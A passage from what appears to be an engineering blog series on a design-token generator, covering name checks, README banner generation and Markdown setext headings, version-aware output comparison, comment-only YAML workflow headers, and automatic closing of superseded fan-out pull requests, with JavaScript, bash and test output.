ℹ pass 6
ℹ fail 0

Run it on real candidates

A short driver makes the check usable while you are still choosing. Save it as check.mjs, importing validate and looping over candidate names against one spec:

import { validate } from './namecheck.mjs';

const SPEC = {
  summary: 'Counts what a repository owes you: open pull requests, stale branches, unreleased commits.',
  description: 'Use when someone asks "what is unreleased", "how many open PRs", or wants a repository backlog count.',
  oneRule: 'Never report a count it did not read from the repository itself.',
};

for (const name of ['smith', 'tally', 'repocount', 'repo-report']) {
  const { ok, problems } = validate({ ...SPEC, name });
  console.log(`${ok ? 'ok  ' : 'FAIL'} ${name.padEnd(12)} ${problems.map((p) => `${p.field}: ${p.why}`).join('; ')}`);
}

FAIL smith        name: "smith" appears nowhere in what this says it does
FAIL tally        name: "tally" appears nowhere in what this says it does
ok   repocount    
ok   repo-report

Both rejected names are real: smith is what this skill shipped as, and tally is what its own demo fixture was called until this release.

Gotchas

A trap that merely fails somewhere stops proving anything. The metaphor fixture is identical to the passing one in every field except the name, and the test asserts the failing field is name. Without that assertion the case still goes green after an unrelated rule starts rejecting the fixture for a different reason, and the naming check could be deleted entirely without anything turning red. Escape: when you pin a rejection, assert the rejection’s location, not just its existence.

Test files that a generator owns get regenerated. These cases live in naming.test.mjs rather than the scaffolded baseline.test.mjs, because the freeze command rewrites that file from a template and would have silently taken the naming tests with it. Escape: before adding a case to a test file, check whether any tool writes that file; if one does, put the case in a sibling the generator does not own.

A checker whose rule is too generous passes everything. Allowing any fragment to extend any word means a three-letter stem in the prose can spell almost any name, and the check goes quietly vacuous while still returning ok. The minimum stem length exists only to stop that. Escape: whenever you loosen a matching rule to admit a legitimate case, re-run the known-bad fixture; a rule that no longer rejects it is not a rule.

Enforcing a new rule on existing work breaks the work, not the rule. This grades at spec time only. The skills that predate it are grandfathered, and the verify path does not re-grade a shipped name, because a name already spent on a directory, a tag prefix and a status check cannot be fixed by a linter telling you about it now. Escape: date the rule to when it landed and apply it going forward, or the first thing your new check does is fail your whole repository.

Sources

Skill authoring best practices, Anthropic — name and description are what a request is matched against, and the guidance to avoid vague names
Two Hard Things, Martin Fowler — Karlton’s line, and why naming keeps its reputation
Stryker Mutator docs — why a passing test is not evidence the test checks anything

Changelog

refactor: name three skills after the job they do, and enforce it (#156) (0907422)

The blank line that decides whether your banner is a banner

Sat, 01 Aug 2026 00:00:00 GMT

Shipped

0.9.0 added an emitter that generates the banner at the top of a README, so that ten separately-published packages stop carrying ten hand-typed variations of the same identity line. Three of them had no brand mark at all, which meant the drift checker could not see them; a file with no generated region in it is a file the checker has nothing to say about.

Markdown turned out to be the most constrained medium this generator emits into. It has bold, it has a rule, it has a middot, and past that it has raw HTML, which brings its own problems. This guide builds the emitter and the splice, and shows the one whitespace bug that makes the whole thing render as something else entirely.

Setup: the banner as a pure function of tokens

The banner is a single line of text with a rule under it: a stamp, the publication name, the kind of document, the version, and a byline.

// masthead.mjs — the banner a README wears.
export function readmeMasthead(tokens, params, ctx) {
  const version = ctx.version ?? '0.0.0';
  const stamp = params.stamp ?? tokens.identity.stamp;
  const name = params.brand_line ?? tokens.identity.name;
  const byline = params.byline ?? tokens.identity.byline;
  const kind = String(params.document_kind ?? 'Claude Code skill').toUpperCase();
  if (!name) throw new Error('readme-masthead needs identity.name or params.brand_line');

  const eyebrow = [
    `**${stamp}**`,
    String(name).toUpperCase(),
    kind,
    `KIT v${version}`,
    byline,
  ].join(' · ');

  // The blank line before the rule is load-bearing: `text` immediately followed
  // by `---` is a setext H2 in every markdown flavour, so without it the whole
  // eyebrow silently renders as a heading instead of a banner over a rule.
  return `${eyebrow}\n\n---`;
}

Everything the banner needs comes from tokens or params. The publication name in particular is worth promoting to a token rather than repeating in eleven target configs, which is the hand-copying a generator exists to end.

The blank line is not formatting

The comment above the return is the whole post. CommonMark defines a setext heading as “one or more lines of text, not interrupted by a blank line, of which the first line does not have more than 3 spaces of indentation, followed by a setext heading underline”, and adds that the lines “must be such that, were they not followed by the setext heading underline, they would be interpreted as a paragraph” (CommonMark 0.31.2). The spec’s own example 104 shows the fix: put a blank line in and the dashes become a thematic break instead.

GitHub Flavored Markdown inherits this unchanged; setext headings appear in the GFM spec as core CommonMark, not as one of the extensions like tables or task lists. So this is not a quirk of one renderer to work around, it is the definition.

Prove it against the renderer that actually matters. GitHub’s API will render markdown for you, which makes this checkable in one command:

printf '**Kit**  ·  TALLY · CLAUDE CODE SKILL · v0.9.0 · Nate Swenson\n\n---\n' > good.md
printf '**Kit**  ·  TALLY · CLAUDE CODE SKILL · v0.9.0 · Nate Swenson\n---\n' > bad.md

echo "=== with the blank line ==="
gh api --method POST /markdown -f text="$(cat good.md)" -f mode=gfm
echo "=== without the blank line ==="
gh api --method POST /markdown -f text="$(cat bad.md)" -f mode=gfm

=== with the blank line ===
<p><strong>Kit</strong>  ·  TALLY · CLAUDE CODE SKILL · v0.9.0 · Nate Swenson</p>
<hr>
=== without the blank line ===
<h2><strong>Kit</strong>  ·  TALLY · CLAUDE CODE SKILL · v0.9.0 · Nate Swenson</h2>

One newline is the difference between a paragraph with a rule under it and an <h2>. In raw markdown the two files look nearly identical, a diff shows one blank line, and no linter objects. The rendered page is the only place it shows.

Splice it under the H1, and only there

A README has to open on its own name, so the banner goes under the H1 rather than above it. That gives the splicer a precise anchor to attach to:

// splice.mjs — put the region directly under the README's H1, and only there.
export function spliceUnderH1(readme, name, body, version) {
  const region = [
    `<!-- >>> brand:mast v${version} GENERATED, do not edit -->`,
    body,
    '<!-- <<< brand:mast -->',
  ].join('\n');

  const existing = /<!-- >>> brand:mast [\s\S]*?<!-- <<< brand:mast -->/;
  if (existing.test(readme)) return readme.replace(existing, region);

  const anchor = new RegExp(`^# ${name}$`, 'm');
  if (!anchor.test(readme)) {
    throw new Error(`no anchor: the README's first heading must be exactly "# ${name}"`);
  }
  return readme.replace(anchor, (h1) => `${h1}\n\n${region}`);
}

Two behaviours are deliberate. Re-splicing replaces the existing region rather than adding another, so the operation is idempotent. And a README whose H1 is not exactly # <name> raises rather than guessing, because the alternative is worse than an error: a loose anchor such as ^# matches whatever heading comes first, and a missing anchor with a silent fallback appends a second banner below the first on the next run.

Use it, then verify it

// build.mjs — emit the banner, splice it, and save the result to render.
import { writeFileSync } from 'node:fs';
import { readmeMasthead } from './masthead.mjs';
import { spliceUnderH1 } from './splice.mjs';

const tokens = { identity: { stamp: 'Kit', name: 'Nate Swenson', byline: 'Nate Swenson' } };
const body = readmeMasthead(tokens, { brand_line: 'tally', document_kind: 'Claude Code skill' }, { version: '0.9.0' });

const readme = `# tally\n\n*Count things that matter, and nothing else.*\n\n## Why install this\n`;
const out = spliceUnderH1(readme, 'tally', body, '0.9.0');
writeFileSync('rendered.md', out);
console.log(out);
console.log('--- idempotent? ---');
console.log(spliceUnderH1(out, 'tally', body, '0.9.0') === out);

# tally

<!-- >>> brand:mast v0.9.0 GENERATED, do not edit -->
**Kit** · TALLY · CLAUDE CODE SKILL · KIT v0.9.0 · Nate Swenson

---
<!-- <<< brand:mast -->

*Count things that matter, and nothing else.*

## Why install this

--- idempotent? ---
true

Then render the result, because the whole point is that the source does not tell you:

gh api --method POST /markdown -f text="$(cat rendered.md)" -f mode=gfm

<h1>tally</h1>

<p><strong>Kit</strong> · TALLY · CLAUDE CODE SKILL · KIT v0.9.0 · Nate Swenson</p>
<hr>

<p><em>Count things that matter, and nothing else.</em></p>
<h2>Why install this</h2>

An <h1>, then a paragraph, then an <hr>. If that middle line comes back as <h2>, the blank line is missing.

Check the refusal path too:

node -e "
import('./splice.mjs').then(({spliceUnderH1}) => {
  try { spliceUnderH1('# tally (beta)\n', 'tally', 'x', '0.9.0'); }
  catch (e) { console.log('refused:', e.message); }
});
"

refused: no anchor: the README's first heading must be exactly "# tally"

What the medium takes away

Translating a visual component into markdown means giving things up, and it is worth writing down which, next to the code, so the next reader does not “fix” them:

The banner sits under the H1, not above it. Every other medium opens on the banner. A repository page has to open on its own name, so here the H1 is the headline and the banner follows.
The byline is not right-aligned. Markdown has no alignment short of raw HTML, and a table wrapper to fake it would put a box around the banner, which is a worse violation of the design than an unaligned byline.
No monospace face. Backticks are markdown’s only monospace, and GitHub renders a code span as a filled rounded chip. Tracked capitals survive as capitals; the styling does not, so the stamp is plain bold.

Each of those lives in the emitter’s docstring, because a deviation with no recorded reason reads as an oversight.

Gotchas

The setext trap has no error and no warning. A missing blank line produces valid markdown that renders as a heading. Symptom: the banner is suddenly large and bold, and every automatic table of contents on the page grows an entry that is not a section. Escape: a test that renders and asserts on the HTML, not on the source, and a comment in the code saying the blank line is load-bearing.

A decorated H1 does not error, it detaches. If your anchor is ^# <name>$ and someone retitles the file, the next run finds no region and no anchor. Symptom: on the following run, a second banner appears lower down the file, or the region silently stops being updated. Escape: raise on a missing anchor, as above, and pin the H1 form in whatever check grades the file.

Enforce a generated house style outside the path filter. A README belonging to component A can be edited in component B’s pull request, and a path-filtered check will never look at it. Symptom: a shape that holds for months and then rots one pull request at a time. Escape: run the structural check unconditionally in a job that has no path filter.

Headings inside fenced code blocks are still headings to a naive scanner. Any check that counts ## lines to grade document structure will count the ones inside your examples. Symptom: a document whose last section looks like something else to the checker, or a false failure on a file that documents a markdown format. Escape: make the scanner fence-aware before you trust it.

A README over 500 KiB is truncated on GitHub. The docs state that “any content beyond 500 KiB will be truncated” when a README is viewed (about READMEs). That is a lot of banner, but generated content plus generated tables can approach it. Escape: keep generated regions small, and link out rather than inlining.

Sources

CommonMark 0.31.2 specification — the setext heading rule, and the example showing the blank line producing a thematic break instead.
GitHub Flavored Markdown spec — setext headings are inherited core CommonMark, not a GFM extension.
About READMEs — where GitHub surfaces a README, and the 500 KiB truncation limit.

Changelog

feat(press,smith): one README house style, generated by press and gated in CI (#152) (f2a0470)

Only the consumer without a version badge got the right answer

Sat, 01 Aug 2026 00:00:00 GMT

Shipped

0.8.1 fixed a false positive in a fan-out tool. The tool labels each pull request by what actually moved: a values change gets a loud title and a design review, a version-only adoption gets a quiet title and a one-line diff. On the previous release, three of the four consumer repositories got the loud title for a release in which no design value had changed at all.

The one consumer that got it right was the only one with no version line in its README. That is what pointed at the cause. The emitter for that version line writes the generator’s own version into the body it emits, so a pure version bump moves those bytes, and a comparison against the newly-emitted body reports a content change every single time.

Any generator whose output embeds its own version has this bug available to it. This guide reproduces it, fixes it with a comparison that asks a better question, and pins both directions with tests.

Setup: an emitter that writes its own version into its output

Two emitters, which is the minimum needed to see the problem. One writes the version into the body it produces; the other does not:

// emit.mjs — two emitters. Only one of them writes the version into its output.
export function versionBadge(tokens, { version }) {
  return [
    `**Brand:** kit v${version}, accent ${tokens.accent}.`,
    'Generated from the design tokens; edit tokens.json and re-emit.',
  ].join('\n');
}

export function cssVars(tokens) {
  return `:root {\n  --accent: ${tokens.accent};\n}`;
}

export const EMITTERS = { 'version-badge': versionBadge, 'css-vars': cssVars };
export const emitBody = (name, tokens, ctx) => EMITTERS[name](tokens, ctx);

A version line in a README is a genuinely useful thing to generate. Without one, the only places a consumer’s version of a shared tool appears are a CI pin and a comment marker, and nobody reads either when they land on a repository. The cost is that the emitter now has a run-time input, the version, mixed into output that is otherwise a pure function of the tokens.

The comparison that answers the wrong question

The natural way to ask “did anything change” is to emit fresh and compare:

// compare.mjs — did the VALUES move, or only the version?
import { emitBody } from './emit.mjs';

const trim = (s) => s.replace(/\s+$/, '');

/** v1: compare what is on disk against what we would write now. */
export function valuesMovedNaive(found, emitter, tokens, version) {
  return trim(found.body) !== trim(emitBody(emitter, tokens, { version }));
}

That is correct for css-vars and wrong for version-badge, and the difference is invisible from the call site. Both are just emitters. The question being asked, “are the bytes on disk what I would write now”, quietly includes “was this written by the release I am currently shipping”, which is a different question and always answers no on a release.

Compare at the version the file records

The region on disk records which release wrote it. Use that: re-emit with today’s tokens at the recorded version and compare against that instead. If they match, no value moved, whatever the version substitution did to the bytes.

/**
 * v2: compare what is on disk against what TODAY'S tokens would emit AT THE
 * VERSION THE REGION RECORDS. If those match, no value moved, whatever the
 * version substitution did to the bytes.
 */
export function valuesMoved(found, emitter, tokens, version) {
  if (!found.version) return valuesMovedNaive(found, emitter, tokens, version);
  const atRecorded = emitBody(emitter, tokens, { version: found.version });
  return trim(found.body) !== trim(atRecorded);
}

This is the same trick reproducible builds use for timestamps. The Reproducible Builds project treats build-time metadata as the primary obstacle to bit-for-bit comparison, noting that “Timestamps make the biggest source of reproducibility issues. Many build tools record the current date and time”, and the remedy is SOURCE_DATE_EPOCH, a fixed value substituted in so that “Tools that support it will use its value … instead of the current date and time” (timestamps). Holding the version constant across a comparison is the same move: pin the volatile input so the comparison is about the content.

Use it, then verify it

Three consumer states, one release, both comparisons side by side:

import { emitBody } from './emit.mjs';
import { valuesMoved, valuesMovedNaive } from './compare.mjs';

const tokens = { accent: '#f26722' };
const RELEASE = '0.8.0';
const wroteBy = '0.7.2';

// What each consumer has on disk, written by the previous release.
const cases = [
  ['README badge, no value moved', 'version-badge', tokens],
  ['README badge, accent moved',   'version-badge', { accent: '#e05500' }],
  ['stylesheet, no value moved',   'css-vars',      tokens],
];

console.log('consumer state                 naive   fixed   PR title');
for (const [name, emitter, diskTokens] of cases) {
  const found = { version: wroteBy, body: emitBody(emitter, diskTokens, { version: wroteBy }) };
  const naive = valuesMovedNaive(found, emitter, tokens, RELEASE);
  const fixed = valuesMoved(found, emitter, tokens, RELEASE);
  const title = fixed ? `kit v${RELEASE}: BRAND VALUES CHANGED` : `adopt kit v${RELEASE}`;
  console.log(`${name.padEnd(30)} ${String(naive).padEnd(7)} ${String(fixed).padEnd(7)} ${title}`);
}

node check.mjs

consumer state                 naive   fixed   PR title
README badge, no value moved   true    false   adopt kit v0.8.0
README badge, accent moved     true    true    kit v0.8.0: BRAND VALUES CHANGED
stylesheet, no value moved     false   false   adopt kit v0.8.0

Row three is the diagnostic. Under the naive comparison the stylesheet consumer is the only one reporting false, because it is the only target whose emitter does not embed the version. When one consumer disagrees with all the others, the thing it does differently is the bug.

Pin both directions, not just the one that was wrong

A fix that makes the false positive go away can also make the detector blind. Both properties need a test, and the negative one is the easy one to skip:

import test from 'node:test';
import assert from 'node:assert/strict';
import { emitBody } from './emit.mjs';
import { valuesMoved } from './compare.mjs';

const tokens = { accent: '#f26722' };
const onDisk = (emitter, t, version) => ({ version, body: emitBody(emitter, t, { version }) });

test('a version-only bump of a version-embedding emitter is NOT a values change', () => {
  const found = onDisk('version-badge', tokens, '0.7.2');
  assert.equal(valuesMoved(found, 'version-badge', tokens, '0.8.0'), false);
});

test('a real values change in the same release is still detected', () => {
  const found = onDisk('version-badge', { accent: '#e05500' }, '0.7.2');
  assert.equal(valuesMoved(found, 'version-badge', tokens, '0.8.0'), true);
});

test('a region with no recorded version falls back to a direct comparison', () => {
  const found = { version: null, body: emitBody('css-vars', tokens) };
  assert.equal(valuesMoved(found, 'css-vars', tokens, '0.8.0'), false);
});

node --test compare.test.mjs

✔ a version-only bump of a version-embedding emitter is NOT a values change
✔ a real values change in the same release is still detected
✔ a region with no recorded version falls back to a direct comparison
ℹ tests 3
ℹ pass 3
ℹ fail 0

Confirm the first test is not decorative by reverting the fix, running it, and watching it fail. A regression test you have never seen fail is a test you have not written yet.

The same confusion, twice in one afternoon

The interesting part is that this is not one bug. Within about fifteen minutes of the same release, a sibling tool’s CI went red on an unrelated pull request, and both fixes landed in one commit. That tool’s golden fixture froze an entire rendered region, including the marker line, and the marker line carries the generator’s version. Bumping the generator to 0.8.1, which changed nothing that tool emits, failed its test.

The fix there is the mirror image: freeze the region body, not the rendered block. The marker format belongs to the generator and is covered by the generator’s own tests; a consumer’s golden should assert only what the consumer produces. The general rule underneath both bugs is that a version bump is not a content change, and anything comparing generated output has to be told which parts are content.

Semantic versioning is explicit that a patch release is for “backward compatible bug fixes” (semver.org), so if a patch bump makes your comparison shout, the comparison is measuring the wrong thing.

Gotchas

Only some emitters have this problem, and the call site cannot tell which. A generator with ten emitters where one embeds the version will produce a bug that appears to depend on the consumer rather than on the code. Symptom: a subset of repositories misbehaving, with no pattern in the repositories themselves. Escape: look for what the outlier does differently, not what the majority share.

A comparison that is always true fails silently, in the loud direction. Nothing errors. The pull requests open, the diffs are correct, only the label lies. Symptom: the important label appears on every release, so people stop reading it. Google’s SRE book names the endpoint of that trajectory: when alerts fire too often “employees second-guess, skim, or even ignore incoming alerts, sometimes even ignoring a ‘real’ page that’s masked by the noise” (Monitoring Distributed Systems). Escape: for any classification your automation emits, write the test that asserts the quiet case stays quiet.

Fixing a false positive can blind the detector. The tempting shortcut is to strip version-looking substrings before comparing, which also strips a genuine change to a value that happens to look like a version. Escape: re-render at the recorded version instead of scrubbing text, and keep a test that a real values change in the same release is still caught.

Regions with no recorded version need an explicit path. A file written before you added the receipt has no version to re-render at, and emitBody(..., { version: undefined }) will happily produce kit vundefined. Symptom: the first run after adding receipts reports every legacy consumer as changed. Escape: branch on the missing receipt and fall back to a direct comparison, as the fixed function does.

Goldens that include a version rewrite themselves on every release. If a frozen fixture contains the generator’s version, every release fails the test, and the standard response of regenerating the golden trains you to regenerate it without reading it. Escape: freeze with a fixed placeholder version, or freeze only the body, and test version substitution in its own test.

Sources

Reproducible Builds: timestamps — build-time metadata as the main obstacle to bit-for-bit comparison, and pinning it with SOURCE_DATE_EPOCH.
Semantic Versioning 2.0.0 — what a patch release is allowed to mean.
Google SRE Book: Monitoring Distributed Systems — what happens to a signal that fires every time.

Changelog

fix(press): a version-only release no longer claims the brand changed (0.8.1) (#142) (618edc6)

Putting a generated banner in a file a machine has to parse

Sat, 01 Aug 2026 00:00:00 GMT

Shipped

0.8.0 taught a token generator to write into GitHub Actions workflow files. It gained a yaml comment syntax for its region splicer, and an emitter that renders a header banner as comment lines rather than as drawn text.

Emitting into YAML is different from emitting into CSS or Python in one way that matters. In a stylesheet, a generated block is content: it is meant to change what renders. In a workflow file, a generated block must be content-free. The file is executed by a machine whose behaviour has to be identical before and after, or your branding has just changed your CI.

This guide builds the splicer, the header, and, more importantly, the assertion that proves the header is invisible to the thing that reads the file.

Setup: why comments are the only safe medium

The YAML specification is unusually direct about this. Comments “must not have any effect on the serialization tree or representation graph. In particular, comments are not associated with a particular node”, and “Comments are a presentation detail and must not be used to convey content information” (YAML 1.2.2).

That is a guarantee you can build a test around: if every line you add begins with #, the parsed document is unchanged by definition, in any conformant parser. It is also a constraint. GitHub Actions workflows are plain YAML files, since “Workflow files use YAML syntax, and must have either a .yml or .yaml file extension” (workflow syntax), so there is no metadata block, no front matter, and no place to put anything that is not either configuration or a comment.

Build the region splicer

The splicer knows how to comment a marker line in each target language, and replaces the block in place if it already exists:

// region.mjs — splice a generated block into a file, in the file's comment syntax.
const COMMENT = { yaml: '#', python: '#', css: ['/*', '*/'], md: ['<!--', '-->'] };

export function renderRegion(name, syntax, body, version) {
  const c = COMMENT[syntax];
  if (!c) throw new Error(`unknown syntax "${syntax}"`);
  const line = (text) =>
    Array.isArray(c) ? `${c[0]} ${text} ${c[1]}` : `${c} ${text}`;
  return [
    line(`>>> brand:${name} v${version} GENERATED, do not edit`),
    body,
    line(`<<< brand:${name}`),
  ].join('\n');
}

export function spliceRegion(file, name, syntax, body, version) {
  const rendered = renderRegion(name, syntax, body, version);
  const re = new RegExp(
    `^.*>>> brand:${name} .*$[\\s\\S]*?^.*<<< brand:${name}.*$`,
    'm',
  );
  return re.test(file) ? file.replace(re, rendered) : `${rendered}\n${file}`;
}

Note what it comments: the two marker lines, and nothing else. The body arrives already in the target language, because for every other emitter the body is code. That assumption is the trap the next section walks into.

Build the header, and comment its own body

// header.mjs — the masthead a generated workflow wears.
const pad = (s, n) => s + ' '.repeat(Math.max(0, n - [...s].length));

/**
 * Returns the header ALREADY COMMENTED.
 *
 * Every other emitter returns code in the target's language and lets the region
 * renderer comment only the two marker lines. That is correct for a stylesheet
 * or a Python module and fatal here: a masthead emitted bare splices box-drawing
 * straight into the document and yields YAML that cannot parse.
 */
export function ghaHeader({ title, purpose, byline, generator }, width = 74) {
  if (!Number.isInteger(width) || width < 40) {
    throw new Error(`width must be an integer >= 40 (got ${width})`);
  }
  const tracked = [...title.toUpperCase()].join(' ');
  const lines = [
    '═'.repeat(width),
    pad(tracked, width - byline.length) + byline,
    '─'.repeat(width),
    purpose,
    `generated by ${generator}`,
  ];
  return lines.map((l) => `# ${l}`.trimEnd()).join('\n');
}

Skip that final map and the result is a workflow file with a box-drawing rule where a top-level key should be. The parser’s complaint is not obviously about a banner:

yaml.parser.ParserError: expected '<document start>', but found '<block mapping start>'
  in "ci.broken.yml", line 7, column 1

Line 7 is name: ci, the first real line of the workflow, which is a long way from the actual mistake on line 2.

Use it

import { readFileSync, writeFileSync } from 'node:fs';
import { ghaHeader } from './header.mjs';
import { spliceRegion } from './region.mjs';

const workflow = readFileSync('ci.yml', 'utf8');
const body = ghaHeader({
  title: 'ci',
  purpose: 'Lint, test and build every pull request.',
  byline: 'brand-tools',
  generator: 'brand-tools 0.8.0',
});
writeFileSync('ci.yml', spliceRegion(workflow, 'mast', 'yaml', body, '0.8.0'));
console.log('spliced');

Against an ordinary workflow, node build.mjs produces:

# >>> brand:mast v0.8.0 GENERATED, do not edit
# ══════════════════════════════════════════════════════════════════════════
# C I                                                            brand-tools
# ──────────────────────────────────────────────────────────────────────────
# Lint, test and build every pull request.
# generated by brand-tools 0.8.0
# <<< brand:mast
name: ci
on:
  pull_request:
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - run: npm test

Verify it without a YAML parser

The obvious test is to parse the spliced file and assert it still loads. Resist it. Reaching for a YAML library makes the test depend on a runtime that has that library installed, and it asserts something weaker than what you actually need, which is that the document is identical, not merely still valid.

Assert the stronger, dependency-free property: strip every comment line and you get the original bytes back.

// verify.mjs — the region must be invisible to any YAML parser.
import assert from 'node:assert/strict';
import { readFileSync } from 'node:fs';
import { ghaHeader } from './header.mjs';
import { spliceRegion } from './region.mjs';

const original = readFileSync('ci.original.yml', 'utf8');
const body = ghaHeader({
  title: 'ci',
  purpose: 'Lint, test and build every pull request.',
  byline: 'brand-tools',
  generator: 'brand-tools 0.8.0',
});
const spliced = spliceRegion(original, 'mast', 'yaml', body, '0.8.0');

// Parser-free property: strip every comment line and you are back where you
// started, byte for byte. No YAML library, so it runs the same everywhere.
const stripComments = (s) =>
  s.split('\n').filter((l) => !/^\s*#/.test(l)).join('\n');

assert.equal(stripComments(spliced), original, 'the region changed the document');
assert.match(spliced, /^# >>> brand:mast/m, 'the region is missing');
console.log('ok: region present, document unchanged for a parser');
console.log(`stripped length ${stripComments(spliced).length} === original ${original.length}`);

node verify.mjs

ok: region present, document unchanged for a parser
stripped length 137 === original 137

The second assertion is the half people forget. Without it, a splicer that silently emits nothing passes the first assertion perfectly, because a document with no region added is trivially unchanged.

Gotchas

A YAML parser is a poor oracle for workflow files anyway. Loading the spliced workflow with PyYAML in this same scratch directory returns the keys ['name', True, 'jobs']. The on: key came back as the boolean True, because YAML 1.1 treats on as a boolean literal and PyYAML implements 1.1. Symptom: your test asserts on a key name that does not survive the round trip. Escape: assert on the bytes, not on the parse.

A generator that comments only the markers will happily emit unparseable output. The convention “the emitter returns code, the renderer adds comments” is right for every language where the block is content, and wrong for the one case where the block is decoration. Symptom: a ParserError pointing at the first line after your block. Escape: make the decorative emitter comment its own body, and say so in its docstring, because the asymmetry looks like a bug to the next reader.

Do not put a verification claim in the banner. A generated header reading actionlint ✓ is a statement about the file below the region, and the region’s hash covers only the region. Anyone hand-editing the workflow underneath invalidates the claim with no way for the generator to notice. Symptom: a file that advertises a guarantee nobody is checking. Escape: keep claims about a run in the run’s output, where they expire naturally, and keep the header to facts about itself.

Width and alignment need a guard. A width that arrives as a string produces '═'.repeat("74"), which coerces and looks fine, and a width below the byline length silently produces a negative pad. Escape: validate the input, as ghaHeader does with its integer and minimum check, and be aware that a linter such as actionlint will not save you here; it validates workflow semantics like uses: format, expression syntax and permissions, not your comment geometry.

Splicing into a file with no region appends at the top. That is the right default for a masthead and the wrong one for almost anything else. Symptom: a generated block landing at the top of a file where it needed to be at the bottom, or vice versa. Escape: make first-time insertion explicit, with an anchor the target declares, rather than inheriting whatever the splicer happens to do.

Sources

YAML 1.2.2 specification — comments are a presentation detail with no effect on the representation graph.
Workflow syntax for GitHub Actions — workflow files are YAML in .github/workflows with a .yml or .yaml extension.
actionlint checks — what a workflow linter does and does not cover.

Changelog

feat: forge — GitHub Actions workflows that are verified, not hoped for (#140) (1bb13dc)

The pull request your bot opened last release can no longer pass

Sat, 01 Aug 2026 00:00:00 GMT

Shipped

0.7.2 taught a fan-out job to close its own predecessors. Every release opened a fresh pull request in each consumer repository, and closed nothing, so a repository that had not merged for two releases collected four of them. Three of the four consumers ended up in that state across a single pair of releases.

The clutter is the visible half. The half that matters is that the older pull requests could not pass. Each one pins the release that opened it, and a newer release declares targets that release did not know about, so the older pull request’s check fails against a definition of “correct” that did not exist when it was created. The bot was manufacturing red checks in other people’s repositories.

This guide builds the fan-out branch naming, shows why the stale pull request fails rather than just sits there, and adds the twelve lines that retire it.

Setup: one pull request per consumer, per base branch

A fan-out that pushes generated content into several repositories needs branch names that cannot collide. Version and base branch both belong in the name, because the same release may land on more than one long-lived branch:

#!/usr/bin/env bash
set -euo pipefail

open_fanout_pr() {
  local repo="$1" base="$2" version="$3" work="$4"
  local branch="fanout/brand-v${version}-${base}"

  git -C "$work" checkout -q -b "$branch"
  git -C "$work" commit -qam "chore: adopt brand v${version}"
  git -C "$work" push -q origin "$branch"

  gh pr create --repo "$repo" --base "$base" --head "$branch" \
    --title "adopt brand v${version}" \
    --body "Generated by the brand fan-out. Nothing here is hand-edited."
}

Two properties come from that name and are worth keeping. It is unique per release and per base, so nothing collides. And it lives in a namespace, fanout/, that no human uses, which is what will make automatic closing safe in a minute.

Why the stale pull request is not merely redundant

Picture a repository that ignored the v0.6.0 pull request. v0.7.0 ships and adds a new target, a generated block in a file that was not covered before. The consumer’s check now verifies every declared target.

The v0.6.0 pull request still pins v0.6.0. Run its check today and it fails: it does not contain the new block, because the release it pins does not know that block exists. Nothing is wrong with the branch, and rebasing does not help; the pull request is asking for a state that is no longer valid.

So the repository ends up with several open bot pull requests, most of them red, all of them opened by the same author. Two well-known bots take this seriously enough to build machinery for it. Dependabot “automatically rebases pull requests to resolve any conflicts”, and gives up after 30 days without a merge (managing pull requests for dependency updates). It also caps how many it will have open at once: with the default limit, “If five pull requests with version updates are open, no further pull requests are raised until some of those open requests are merged or closed” (Dependabot options reference). Stacked bot pull requests are not free; they consume a repository’s real attention budget, and in that case they block the next update outright.

Retire the predecessors when you open the successor

The rule is narrow on purpose: same base branch, same branch namespace, not the branch just created.

# supersede <base> <current-branch> <version>
# Close this base's earlier fan-out pull requests, with a reason.
supersede() {
  local base="$1" branch="$2" version="$3"
  gh pr list --state open --base "$base" --json number,headRefName \
    --jq ".[] | select(.headRefName | startswith(\"fanout/brand-v\")) | select(.headRefName != \"$branch\") | .number" \
    | while read -r old_pr; do
        [ -n "$old_pr" ] || continue
        echo "  superseding #$old_pr"
        gh pr close "$old_pr" --delete-branch \
          --comment "Superseded by v$version. An earlier fan-out PR pins a release older than the targets the current one declares, so its check cannot pass." \
          || echo "::warning::could not close #$old_pr"
      done
}

gh pr list does the base filtering server-side with --base, and --json number,headRefName with --jq gets you numbers with no output parsing. gh pr close takes both flags this needs: --comment to “Leave a closing comment” and --delete-branch to “Delete the local and remote branch after close”.

Call it right after the pull request is created, inside the same per-repository loop:

open_fanout_pr "$repo" "$base" "$version" "$work"
supersede "$base" "fanout/brand-v${version}-${base}" "$version"

Use it, then verify it

The dangerous part of this function is what it closes, so test it against a fixture instead of a live repository. Save five open pull requests, four of them from previous fan-outs across two base branches, one of them a human’s:

[
  { "number": 41, "baseRefName": "dev",  "headRefName": "fanout/brand-v0.6.0-dev" },
  { "number": 42, "baseRefName": "main", "headRefName": "fanout/brand-v0.6.0-main" },
  { "number": 57, "baseRefName": "dev",  "headRefName": "fanout/brand-v0.7.0-dev" },
  { "number": 58, "baseRefName": "main", "headRefName": "fanout/brand-v0.7.0-main" },
  { "number": 60, "baseRefName": "dev",  "headRefName": "feature/unrelated-work" }
]

Then stub gh so the real --jq expression still runs, and nothing touches the network:

#!/usr/bin/env bash
set -euo pipefail
. ./supersede.sh

# stub gh: `pr list --base` is filtered here the way the real command filters it
# server-side; the --jq expression is the real one.
gh() {
  if [ "$1 $2" = "pr list" ]; then
    local expr="" base=""
    while [ $# -gt 0 ]; do
      [ "$1" = "--jq" ] && expr="$2"
      [ "$1" = "--base" ] && base="$2"
      shift
    done
    jq -c "[ .[] | select(.baseRefName == \"$base\") ]" open-prs.json | jq -r "$expr"
  elif [ "$1 $2" = "pr close" ]; then
    echo "  closed #$3"
  fi
}

echo "opening fanout/brand-v0.8.0-dev against dev"
supersede dev "fanout/brand-v0.8.0-dev" 0.8.0
echo "opening fanout/brand-v0.8.0-main against main"
supersede main "fanout/brand-v0.8.0-main" 0.8.0

opening fanout/brand-v0.8.0-dev against dev
  superseding #41
  closed #41
  superseding #57
  closed #57
opening fanout/brand-v0.8.0-main against main
  superseding #42
  closed #42
  superseding #58
  closed #58

Read that output for what is missing as much as for what is there. #60, the human’s branch, is never touched. The dev pass leaves the main pull requests alone, and the other way round, because base filtering happens before the prefix match. And the branch just opened is excluded by name, which is the check that keeps this function from closing its own pull request the moment you call it.

Gotchas

Forgetting to exclude the current branch closes the pull request you just opened. The select(.headRefName != "$branch") clause is the entire safety of this function. Symptom: the fan-out reports success and the repository has no open pull request. Escape: the fixture test above, with the new branch present in the fixture.

